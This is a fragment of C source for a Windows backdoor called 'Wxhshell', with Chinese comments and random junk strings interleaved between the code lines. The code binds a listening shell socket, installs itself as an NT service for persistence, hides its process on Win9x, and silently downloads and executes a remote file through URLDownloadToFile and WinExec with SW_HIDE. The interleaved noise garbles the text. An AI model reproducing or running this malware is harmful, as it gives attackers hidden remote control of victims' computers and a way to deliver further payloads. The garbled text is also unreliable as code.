#Pr)H mA0|W#NB CloseHandle(hProcess); a3[lZPQe wVtBH_> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ue"e><c6: if(hProcess==NULL) return 0; 3\&I7o3V h9WyQl7 HMODULE hMod; #]FJx char procName[255]; P/doNv}iG unsigned long cbNeeded; UaV8!Z> qJT|om
LY if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $o>6Io|D 2qfKDZ9f^ CloseHandle(hProcess); 2, r{zJ8 QVPJ$~x if(strstr(procName,"services")) return 1; // 以服务启动 s!\Gi5b @RFJe$% return 0; // 注册表启动 ,U#FtOec } U~YjTjbd 8Xk,Nbcqt // 主模块 5!}fd/}Uk int StartWxhshell(LPSTR lpCmdLine) Lo^gg#o { 3[}w#n1 SOCKET wsl; f^9ntos| BOOL val=TRUE;
I<LIw8LI int port=0; TrmrA$5f struct sockaddr_in door; C &-]RffA BF+i82$zo if(wscfg.ws_autoins) Install(); C#D8
E.W x] j&Knli port=atoi(lpCmdLine); SH#!Y TM^.y
Y if(port<=0) port=wscfg.ws_port; QsH?qI&2jp UA}N WSADATA data; wQw
y+S if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \K(QE ~y'W bd@1j`i if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n`2LGc[rP setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %8~g#Z door.sin_family = AF_INET; cHk ?$ door.sin_addr.s_addr = inet_addr("127.0.0.1"); k9 NPC" door.sin_port = htons(port); '?dT<w=Y& h\PybSW4s if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~k780 closesocket(wsl); {'1e? return 1; Q9NKQuSu } nZ8f}R!f: i!dQ
Sdf if(listen(wsl,2) == INVALID_SOCKET) { ^A' Bghy closesocket(wsl); $V2.@X return 1; ?-D'xqc } U((mOm6 Wxhshell(wsl); ]d -U WSACleanup(); l~*D
jr~ Tg\wBhJr| return 0; }N%uQP#I
_)=eE } u:GDM l"app]uVZ // 以NT服务方式启动 !J-oGs\ u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) SWPb=[WEz { pA?2UZ DWORD status = 0; 't<hhjPqY DWORD specificError = 0xfffffff; CwQRHi \:|"qk serviceStatus.dwServiceType = SERVICE_WIN32; &NB"[Mm:@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; >[a&,gS serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wC~LZSTt serviceStatus.dwWin32ExitCode = 0; UhVJ! NrT serviceStatus.dwServiceSpecificExitCode = 0; Ze- MB0w serviceStatus.dwCheckPoint = 0; J'#R9NO< serviceStatus.dwWaitHint = 0; bo04y)Iz uPQrDr5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *>8Y/3Y\B if (hServiceStatusHandle==0) return; I!;vy/r x3]y*6 status = GetLastError(); 85 <%L:EC if (status!=NO_ERROR) 0o&B 7N { )W.Y{\D0 serviceStatus.dwCurrentState = SERVICE_STOPPED; AAPfU_:
^ serviceStatus.dwCheckPoint = 0; yOr5kWqX serviceStatus.dwWaitHint = 0; c!HmZ]/ serviceStatus.dwWin32ExitCode = status; h(MS>= serviceStatus.dwServiceSpecificExitCode = specificError; m?_@.O@] SetServiceStatus(hServiceStatusHandle, &serviceStatus); X Cf!xIv return; 4oywP^I } 6 Z7J<0 gPzp/I serviceStatus.dwCurrentState = SERVICE_RUNNING; F|&=\Q serviceStatus.dwCheckPoint = 0; |dI,4Z\Qb serviceStatus.dwWaitHint = 0; ztHEXM. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V^ 5Z9! } EGIwqci: f+W8Gszi // 处理NT服务事件,比如:启动、停止 /woC{J)4p VOID WINAPI NTServiceHandler(DWORD fdwControl) W9%B9~\G;+ { ! tPHT switch(fdwControl) ~u+|NtF { 'W]oQLD^R case SERVICE_CONTROL_STOP: hD!9[Gb serviceStatus.dwWin32ExitCode = 0; T^XU5qgN serviceStatus.dwCurrentState = SERVICE_STOPPED; BLQD=?Q serviceStatus.dwCheckPoint = 0; ^":Dk5gl serviceStatus.dwWaitHint = 0; Y~+`F5xX< { Sw^-@w=!U5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); RRBBz7:~ } ;_<K>r* return; [V _?`M case SERVICE_CONTROL_PAUSE: J0a#QvX! serviceStatus.dwCurrentState = SERVICE_PAUSED; 'p:L"L}Q? break; 5'hQ6i8 case SERVICE_CONTROL_CONTINUE: `p{,C`g,R serviceStatus.dwCurrentState = SERVICE_RUNNING; <=7N2t)s4 break; 5|Or,8r(C case SERVICE_CONTROL_INTERROGATE: cA]Ch>]A% break; &6}] v: }; .e8S^lSl SetServiceStatus(hServiceStatusHandle, &serviceStatus); qtLXdSc } iJD_qhd7 ;V"(! 'd // 标准应用程序主函数 <<:a>)6\ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gaxa~?ek { [J6b5 b/g"ws_ // 获取操作系统版本
T24?1 OsIsNt=GetOsVer(); }4M4D/= GetModuleFileName(NULL,ExeFile,MAX_PATH); '#faNVPABh )TFBb\f>v // 从命令行安装 ,)JSXo if(strpbrk(lpCmdLine,"iI")) Install(); bu|ecv wBK%=7 // 下载执行文件 L4,Ke if(wscfg.ws_downexe) { ;r}>1LhN if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ={a_?l% WinExec(wscfg.ws_filenam,SW_HIDE); U%,N"]` } >HH49cCo Q4JvFy0' if(!OsIsNt) { _hb@O2f // 如果时win9x,隐藏进程并且设置为注册表启动 r+WY7'c HideProc(); &QL!Y{=Y6 StartWxhshell(lpCmdLine); td6$w:SN,l } /kY|PY else A+Xk=k5< if(StartFromService()) k)a-odNrb // 以服务方式启动 P95A_(T=[ StartServiceCtrlDispatcher(DispatchTable); *NDM{WB|) else 'l}T_7g // 普通方式启动 Uc3-n`C StartWxhshell(lpCmdLine); Lz9t9AoB VYZkHjj)2i return 0; -OS&(7 }
|